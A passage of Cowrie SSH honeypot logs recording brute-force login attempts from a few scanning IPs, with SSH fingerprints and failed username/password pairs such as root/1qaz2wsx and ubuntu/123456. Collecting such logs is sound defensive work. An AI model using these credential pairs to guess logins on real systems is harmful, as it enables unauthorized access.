","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:14.064186Z","src_ip":"45.156.87.253","session":"3aa1fbbfd959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:14.311962Z","src_ip":"45.156.87.253","session":"3aa1fbbfd959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:15.405232Z","src_ip":"45.156.87.253","session":"3aa1fbbfd959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44296,"dst_ip":"10.17.0.5","dst_port":22,"session":"c01d881fa820","protocol":"ssh","message":"New connection: 45.156.87.253:44296 (10.17.0.5:22) [session: c01d881fa820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:17.259083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:17.282256Z","src_ip":"45.156.87.253","session":"c01d881fa820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:17.366117Z","src_ip":"45.156.87.253","session":"c01d881fa820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:17.742256Z","src_ip":"45.156.87.253","session":"c01d881fa820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:18.826939Z","src_ip":"45.156.87.253","session":"c01d881fa820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54306,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb9013f5187a","protocol":"ssh","message":"New connection: 45.156.87.253:54306 (10.17.0.5:22) [session: cb9013f5187a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:20.756135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:20.759885Z","src_ip":"45.156.87.253","session":"cb9013f5187a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:20.841790Z","src_ip":"45.156.87.253","session":"cb9013f5187a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:21.090718Z","src_ip":"45.156.87.253","session":"cb9013f5187a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:22.183187Z","src_ip":"45.156.87.253","session":"cb9013f5187a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54312,"dst_ip":"10.17.0.5","dst_port":22,"session":"74c67bbd4bfe","protocol":"ssh","message":"New connection: 45.156.87.253:54312 (10.17.0.5:22) [session: 74c67bbd4bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:24.157882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:24.163759Z","src_ip":"45.156.87.253","session":"74c67bbd4bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:24.245177Z","src_ip":"45.156.87.253","session":"74c67bbd4bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:24.490182Z","src_ip":"45.156.87.253","session":"74c67bbd4bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":57870,"dst_ip":"10.17.0.5","dst_port":22,"session":"b221802d8c23","protocol":"ssh","message":"New connection: 23.88.42.180:57870 (10.17.0.5:22) [session: b221802d8c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:25.075641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:25.079861Z","src_ip":"23.88.42.180","session":"b221802d8c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:25.175752Z","src_ip":"23.88.42.180","session":"b221802d8c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charles_hoskinson","password":"password456","message":"login attempt [charles_hoskinson/password456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:25.464335Z","src_ip":"23.88.42.180","session":"b221802d8c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:25.572801Z","src_ip":"45.156.87.253","session":"74c67bbd4bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:26.562647Z","src_ip":"23.88.42.180","session":"b221802d8c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54332,"dst_ip":"10.17.0.5","dst_port":22,"session":"8426c65e593d","protocol":"ssh","message":"New connection: 45.156.87.253:54332 (10.17.0.5:22) [session: 8426c65e593d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:27.636520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:27.691614Z","src_ip":"45.156.87.253","session":"8426c65e593d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:27.735938Z","src_ip":"45.156.87.253","session":"8426c65e593d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"rootroot","message":"login attempt [app/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:28.035700Z","src_ip":"45.156.87.253","session":"8426c65e593d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:29.118410Z","src_ip":"45.156.87.253","session":"8426c65e593d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50682,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aae34209cbe","protocol":"ssh","message":"New connection: 45.156.87.253:50682 (10.17.0.5:22) [session: 8aae34209cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:31.070907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:31.074888Z","src_ip":"45.156.87.253","session":"8aae34209cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:31.154893Z","src_ip":"45.156.87.253","session":"8aae34209cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"abc123","message":"login attempt [claude/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:31.398268Z","src_ip":"45.156.87.253","session":"8aae34209cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:32.625903Z","src_ip":"45.156.87.253","session":"8aae34209cbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50698,"dst_ip":"10.17.0.5","dst_port":22,"session":"095bcabd3950","protocol":"ssh","message":"New connection: 45.156.87.253:50698 (10.17.0.5:22) [session: 095bcabd3950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:34.400049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:34.404080Z","src_ip":"45.156.87.253","session":"095bcabd3950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:34.485269Z","src_ip":"45.156.87.253","session":"095bcabd3950","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo","message":"login attempt [odoo18/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:34.730373Z","src_ip":"45.156.87.253","session":"095bcabd3950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:35.814270Z","src_ip":"45.156.87.253","session":"095bcabd3950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50714,"dst_ip":"10.17.0.5","dst_port":22,"session":"15a077993e9a","protocol":"ssh","message":"New connection: 45.156.87.253:50714 (10.17.0.5:22) [session: 15a077993e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:37.781179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:37.893160Z","src_ip":"45.156.87.253","session":"15a077993e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:37.895677Z","src_ip":"45.156.87.253","session":"15a077993e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234567890","message":"login attempt [sam/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:38.254370Z","src_ip":"45.156.87.253","session":"15a077993e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:39.340676Z","src_ip":"45.156.87.253","session":"15a077993e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":47708,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e7a3a820ef0","protocol":"ssh","message":"New connection: 185.242.3.195:47708 (10.17.0.5:22) [session: 7e7a3a820ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:30:39.461445Z"}
